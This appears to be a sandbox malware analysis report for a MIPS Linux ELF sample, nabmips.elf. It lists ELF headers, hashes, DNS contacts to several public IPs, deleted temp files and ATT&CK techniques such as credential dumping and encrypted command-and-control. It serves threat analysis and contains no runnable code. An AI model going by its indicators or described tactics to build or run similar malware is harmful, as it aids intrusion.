TLSH:	EA43851A2E31AF9EFB7C823547B78A209B48739537E0D685D26CFD045B7024D641FBA8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@...........................D...D.....D...(........dt.Q............................<...'.Q....!'.......................<...'.Q....!... ....'9... ......................<...'.Qx...!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbfa0	0x0	0x6	AX	16
.fini	PROGBITS	0x40c0c0	0xc0c0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c120	0xc120	0xd80	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcea0	0xcea0	5.4922	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.3051	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 03:57:33.084448099 CET	51008	53	192.168.2.23	168.235.111.72
Dec 24, 2024 03:57:33.393007040 CET	53	51008	168.235.111.72	192.168.2.23
Dec 24, 2024 03:57:44.957278013 CET	43480	53	192.168.2.23	51.158.108.203
Dec 24, 2024 03:57:45.195419073 CET	53	43480	51.158.108.203	192.168.2.23
Dec 24, 2024 03:57:57.428198099 CET	55005	53	192.168.2.23	185.181.61.24
Dec 24, 2024 03:57:57.687503099 CET	53	55005	185.181.61.24	192.168.2.23
Dec 24, 2024 03:58:09.920475960 CET	34473	53	192.168.2.23	194.36.144.87
Dec 24, 2024 03:58:10.168426037 CET	53	34473	194.36.144.87	192.168.2.23
Dec 24, 2024 03:58:22.397141933 CET	41622	53	192.168.2.23	51.158.108.203
Dec 24, 2024 03:58:22.637311935 CET	53	41622	51.158.108.203	192.168.2.23
Dec 24, 2024 03:58:34.876106024 CET	53177	53	192.168.2.23	168.235.111.72
Dec 24, 2024 03:58:35.187351942 CET	53	53177	168.235.111.72	192.168.2.23
Dec 24, 2024 03:58:47.416452885 CET	38427	53	192.168.2.23	202.61.197.122
Dec 24, 2024 03:58:47.660476923 CET	53	38427	202.61.197.122	192.168.2.23
Dec 24, 2024 03:58:59.216639996 CET	47051	53	192.168.2.23	51.158.108.203
Dec 24, 2024 03:58:59.454699039 CET	53	47051	51.158.108.203	192.168.2.23
Dec 24, 2024 03:59:11.707812071 CET	47068	53	192.168.2.23	202.61.197.122
Dec 24, 2024 03:59:11.952231884 CET	53	47068	202.61.197.122	192.168.2.23
Dec 24, 2024 03:59:24.183613062 CET	44129	53	192.168.2.23	81.169.136.222
Dec 24, 2024 03:59:24.420850992 CET	53	44129	81.169.136.222	192.168.2.23
Dec 24, 2024 03:59:36.651592016 CET	49146	53	192.168.2.23	51.158.108.203
Dec 24, 2024 03:59:36.890037060 CET	53	49146	51.158.108.203	192.168.2.23

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.06Nxf4 (deleted)

/tmp/qemu-open.0ODiY5 (deleted)

/tmp/qemu-open.0aE823 (deleted)

/tmp/qemu-open.1AMFZ5 (deleted)

/tmp/qemu-open.1KBKs5 (deleted)

/tmp/qemu-open.1kA4d5 (deleted)

/tmp/qemu-open.1nLbb3 (deleted)

/tmp/qemu-open.22Haa3 (deleted)

/tmp/qemu-open.2gmYB5 (deleted)

/tmp/qemu-open.2gyMV4 (deleted)

/tmp/qemu-open.2ii2m6 (deleted)

/tmp/qemu-open.3EdVo5 (deleted)

/tmp/qemu-open.3Knd25 (deleted)

/tmp/qemu-open.3mCLz4 (deleted)

/tmp/qemu-open.4AMf46 (deleted)

/tmp/qemu-open.4T4dU3 (deleted)

/tmp/qemu-open.4TNqP5 (deleted)

/tmp/qemu-open.4zct63 (deleted)

/tmp/qemu-open.5MaPU6 (deleted)

/tmp/qemu-open.5SZ7i4 (deleted)

/tmp/qemu-open.5osPG3 (deleted)

/tmp/qemu-open.6GMFE5 (deleted)

/tmp/qemu-open.6e0HY3 (deleted)

/tmp/qemu-open.70BqN6 (deleted)

/tmp/qemu-open.741NO4 (deleted)

/tmp/qemu-open.7I7Ra7 (deleted)

/tmp/qemu-open.7meoX4 (deleted)

/tmp/qemu-open.7nWPh3 (deleted)

/tmp/qemu-open.83Qcd7 (deleted)

/tmp/qemu-open.86bug3 (deleted)

/tmp/qemu-open.8uFIL6 (deleted)

/tmp/qemu-open.9PUEa7 (deleted)

/tmp/qemu-open.9RGpN2 (deleted)

Linux Analysis Report
nabmips.elf

Start time (UTC):	02:57:31
Start date (UTC):	24/12/2024
Path:	/tmp/nabmips.elf
Arguments:	/tmp/nabmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	02:57:32
Start date (UTC):	24/12/2024
Path:	/tmp/nabmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	02:57:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre